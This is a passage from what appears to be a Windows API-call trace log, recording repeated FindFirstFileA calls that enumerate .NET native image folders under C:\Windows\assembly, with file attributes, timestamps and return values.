lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Comp46f2b404#\\1950e89dcb0d51adb87a388b6531bcc6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ac180f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12861540, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12861540, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.268] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Comp7dda8007#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f7abb70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128876a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x128876a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.275] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Comp7dda8007#\\c4843261ca1f3ee7437a7d6bcf2e267d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f7abb70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128876a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x128876a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.284] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Compba577418#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f5e2af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128876a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x128876a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.292] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Compba577418#\\38bfbb37a8755fc23ccd2827b16a036b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f5e2af0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128ad800, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x128ad800, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.301] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Confe64a9051#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b3fa9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128d3960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x128d3960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.308] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Confe64a9051#\\e2e832358e4054b2c9e32e212f9a81c0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b3fa9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128d3960, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x128d3960, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.316] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504296d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128f9ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x128f9ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.322] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Configuration\\a9307524c4566f8b1e2df7834b33de98\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504296d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x128f9ac0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x128f9ac0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.330] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f7f6610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1291fc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1291fc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.336] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\0b543c6391a29ab6773dc4ad0da611f2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f7f6610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1291fc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1291fc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.344] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85ebb5f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1291fc20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1291fc20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.353] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data\\aff3d5a446ed0ca437fb79db4e3b5720\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85ebb5f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12945d80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12945d80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.361] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9513b730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1296bee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1296bee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.367] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Entity\\43aac8aa5cd33cb72e5e2262b6526a45\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9513b730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1296bee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1296bee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.373] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Linq\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96da5dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1296bee0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1296bee0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.378] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Linq\\9705a1a4cb1828c1c7c74f8952d567ae\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96da5dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12992040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12992040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.384] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97ba1f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12992040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12992040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.389] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.Services\\6477489ca4d22636fa3546d0316ca591\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97ba1f10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12992040, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12992040, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.394] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.SqlXml\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542a5850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x129b81a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x129b81a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.400] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data.SqlXml\\5f5d6c1b4261c849bdcd39f6bcccb13b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542a5850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x129b81a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x129b81a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.406] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data14bed3a9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa51ddb10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x129b81a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x129b81a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.412] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data14bed3a9#\\43ed165e18772def7628ddb4f70c69aa\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa51ddb10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x129de300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x129de300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.418] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data16016462#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6b74790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x129de300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x129de300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.423] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data16016462#\\abfd040a82d8e14cb8bf61e2e468d6f4\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6b74790, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a04460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a04460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.428] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data7706cdc8#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fc6e770, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a04460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a04460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.434] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data7706cdc8#\\e256b79dfd5e9e14688d13aa81bef5c9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fc6e770, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a04460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a04460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.441] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data86569bbf#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a17b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a2a5c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a2a5c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.446] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Data86569bbf#\\a2fcac4178dfa632cdc28c170b2fc52e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a7a17b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a2a5c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a2a5c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.451] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Datab086ae17#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95d22530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a2a5c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a2a5c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.456] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Datab086ae17#\\fcf20e21d8c22e0b43e9b160d9ba2466\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95d22530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a50720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a50720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.463] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Deployment\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bd39b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a50720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a50720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.468] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Deployment\\792bc3f63f441586023846e411cf598b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70bd39b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a50720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a50720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.473] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a0c9870, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a76880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a76880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.479] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a0c9870, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a76880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a76880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.485] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a9c9e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a9c9e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.491] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Device\\bedaa2bc115a73f16ec9853ff479acc7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa74f9f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a9c9e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a9c9e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.496] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12a9c9e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12a9c9e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.505] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire573b08f5#\\c051c5430cbd1580ec57d42e22abfa13\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b137f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ac2b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ac2b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.510] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ac2b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ac2b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.516] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Dire5d62f0a2#\\4dcde0c1afad3940051d2f1dde4e0069\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8af37dd0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ac2b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ac2b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, 